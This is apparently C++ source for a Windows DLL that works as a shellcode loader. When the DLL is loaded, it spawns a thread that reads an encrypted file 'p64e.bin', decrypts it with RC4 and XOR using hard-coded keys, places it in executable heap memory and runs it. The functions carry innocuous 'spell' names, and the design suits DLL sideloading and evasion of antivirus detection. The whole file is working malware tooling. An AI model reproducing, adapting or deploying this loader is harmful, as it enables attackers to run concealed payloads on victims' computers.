1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
| #include "pch.h"
#include <windows.h>
#include <iostream>
#include <fstream>
#include <cstring>
// 静态变量和句柄
static HANDLE hThread = NULL;
static HANDLE hFile = INVALID_HANDLE_VALUE;
const char* SHELLCODE_FILE = "p64e.bin";
const char* RC4_KEY = "iC4n7'tHelpmYSe1f14ugh1n9";
const char* XOR_KEY = "411oFusd0n'tKn0wWh4t'sG01n90n!";
// RC4解密
char* spellRC4(char* spell, int spellLength) {
unsigned char S[256];
int i, j, x, y, t;
char* ciphertext = new char[spellLength];
for (i = 0; i < 256; i++) {
S[i] = i;
}
j = 0;
for (i = 0; i < 256; i++) {
j = (j + S[i] + RC4_KEY[i % strlen(RC4_KEY)]) % 256;
std::swap(S[i], S[j]);
}
x = 0;
y = 0;
for (int k = 0; k < spellLength; k++) {
x = (x + 1) % 256;
y = (y + S[x]) % 256;
std::swap(S[x], S[y]);
t = (S[x] + S[y]) % 256;
ciphertext[k] = spell[k] ^ S[t];
}
return ciphertext;
}
// XOR解密
char* spellXOR(char* spell, int spellLength) {
int keyLength = strlen(XOR_KEY);
for (int i = 0; i < spellLength; ++i) {
spell[i] = spell[i] ^ XOR_KEY[i % keyLength];
}
return spell;
}
// 解密和执行函数
void cast_spell_3(char* spell, int spellSize) {
DWORD dwOldProtect;
HANDLE HeapHandle = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, spellSize, 0);
char* buf = (char*)HeapAlloc(HeapHandle, HEAP_ZERO_MEMORY, spellSize); //堆调用
memcpy(buf, spell, spellSize);
VirtualProtect(buf, spellSize, PAGE_EXECUTE, &dwOldProtect);
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)buf, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
}
// DLL导出函数，读取、解密和执行shellcode
extern "C" __declspec(dllexport) void RunShellcode() {
std::ifstream spellfile(SHELLCODE_FILE, std::ios::in | std::ios::binary);
spellfile.seekg(0, std::ios::end);
int length = spellfile.tellg();
spellfile.seekg(0, std::ios::beg);
char* spelldata = new char[length];
spellfile.read(spelldata, length);
spellfile.close();
spelldata = spellRC4(spelldata, length);
spelldata = spellXOR(spelldata, length);
cast_spell_3(spelldata, length);
delete[] spelldata;
}
// 线程函数
DWORD WINAPI ThreadProc(LPVOID lpParameter) {
RunShellcode();
return 0;
}
// 清理资源函数
void CleanupResources() {
if (hFile != INVALID_HANDLE_VALUE) {
CloseHandle(hFile);
hFile = INVALID_HANDLE_VALUE;
}
}
// DLL入口点
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL);
if (hThread == NULL) {
std::cerr << "Error creating thread: " << GetLastError() << std::endl;
return FALSE;
}
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
if (hThread != NULL) {
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
hThread = NULL;
}
CleanupResources();
break;
}
return TRUE;
}
|
